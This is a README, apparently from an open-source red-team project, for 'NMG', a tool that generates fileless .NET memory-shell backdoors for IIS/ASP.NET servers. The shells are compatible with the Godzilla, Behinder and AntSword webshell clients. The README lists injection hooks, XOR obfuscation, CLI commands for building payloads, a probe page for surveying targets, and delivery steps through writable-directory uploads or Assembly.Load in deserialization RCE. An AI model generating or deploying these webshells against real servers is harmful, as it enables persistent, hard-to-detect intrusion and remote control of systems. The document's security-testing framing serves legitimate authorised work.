
Gera payloads de memory-shell em .NET parametrizados (VPP, rota MVC, HttpListener) compatíveis com os clientes Godzilla, Behinder e AntSword para testes de red team.
Gerador parametrizado de memory shell .NET | Red team / testes de segurança | equivalente ao JMG para .NET
+-----------------------------------------------------+
| nmg.exe (CLI) |
+------------------------+----------------------------+
| generate (payload) | probe (env detection) |
+------------------------+----------------------------+
| Protocol Layer |
| +----------+ +----------+ +----------+ |
| | Godzilla | | Behinder | | AntSword | |
| | AES-128 | | AES-128 | | Base64 | |
| +----------+ +----------+ +----------+ |
+------------------------------------------------------+
| Template Layer |
| +----------+ +----------+ +--------------+ |
| | VPP | | Route | | HttpListener | |
| | IIS hook | |MVC Route | | Standalone | |
| +----------+ +----------+ +--------------+ |
+------------------------------------------------------+
| Compilation Engine |
| Roslyn -> DLL (net40/net472) |
| deterministic / XOR obfuscated / randomized |
+------------------------------------------------------+
| Output Layer |
| aspx injector / base64 / dll |
+------------------------------------------------------+
O NMG gera payloads de memory shell .NET parametrizados que se injetam em aplicações IIS/ASP.NET sem deixar ficheiros no disco. Após a injeção, liga-se com os gestores de webshell existentes (Godzilla / Behinder / AntSword) - o NMG apenas faz funcionar o lado do servidor.
Pense nisto como: input parameters -> compiled payload -> inject -> connect with client
| Tipo | Alvo | .NET Framework | Ponto de Acionamento |
|---|---|---|---|
vpp | IIS/ASP.NET | 2.0+ | VirtualPathProvider.GetCacheKey |
route | MVC/WebAPI | 3.5+ | RouteBase.GetRouteData |
httplistener | Standalone/SYSTEM | 2.0+ | HttpListener (independente do IIS) |
| Protocolo | Cliente | Encriptação | Verificado |
|---|---|---|---|
godzilla | Godzilla 4.x | AES-128 (key=MD5(pass+key)[0:16]) | ✅ End-to-end |
behinder | Behinder 4.x | AES-128 (key=MD5(pass)[0:16] raw bytes) | ✅ End-to-end |
antsword | AntSword | Base64 | ✅ End-to-end |
| Formato | Caso de Uso |
|---|---|
aspx | Carregar para diretório com permissão de escrita, aceder uma vez para injetar |
b64 | Para entrega via RCE através de desserialização/injeção de expressão |
dll | DLL em bruto para loaders personalizados |
| Comando | Propósito |
|---|---|
generate | Gerar payload de memory shell |
probe | Gerar aspx de deteção de ambiente (reporta CLR/trust/MVC/VPP) |
version | Mostrar versão |
help | Mostrar utilização |
Interface web integrada com o tema Inset Dark (minimalismo ao estilo Linear):
cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901
# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42
# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472
# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"
# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass
# Generate environment probe page
nmg probe -o probe.aspx
# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64
Método 1 — injetor ASPX:
.aspx gerado para qualquer diretório gravável no alvoAssembly.Load + registro VPP).aspx/.ashx/.asmx existente no siteMétodo 2 — Base64 (entrega de RCE): Execute em qualquer ponto de execução de código:
Assembly.Load(Convert.FromBase64String("<payload>"))
Faça o upload do probe.aspx gerado e acesse-o uma vez. Ele retorna JSON com:
{
"clr": "4.0.30319.42000",
"trustLevel": "Full",
"mvc": false,
"vpp": "Net.Net.Loader.PathHandler74",
"appPool": "NmgLab"
}
Use isto para determinar qual tipo de shell de memória e protocolo usar.
ASP.xxx_aspx+ClassNamedotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/
nmg/
├── src/
│ ├── Program.cs # CLI entry point
│ ├── GenerateOptions.cs # generate pipeline (protocol × type × format)
│ ├── ProbeCommand.cs # probe subcommand
│ ├── Shells/
│ │ ├── GodzillaCSharp.cs # Godzilla protocol (AES-128)
│ │ ├── BehinderNet.cs # Behinder protocol (AES-128 raw bytes)
│ │ └── AntSwordNet.cs # AntSword protocol (Base64)
│ ├── Templates/
│ │ ├── VppTemplate.cs # VirtualPathProvider registrar
│ │ ├── RouteTemplate.cs # RouteBase registrar
│ │ ├── HttpListenerTemplate.cs
│ │ └── ProbeTemplate.cs # Environment probe page
│ ├── Compiler/
│ │ └── RoslynCompiler.cs # Multi-target deterministic Roslyn
│ ├── Randomizer/
│ │ └── SeedRandom.cs # Deterministic randomization
│ ├── Formats/
│ │ ├── AspxInjector.cs # Self-contained aspx injector page
│ │ └── Base64Output.cs # Raw Base64 output
│ └── Api/
│ ├── Program.cs # ASP.NET Core minimal API
│ └── wwwroot/index.html # Web UI (Inset Dark)
└── tests/ # 35 unit tests
MIT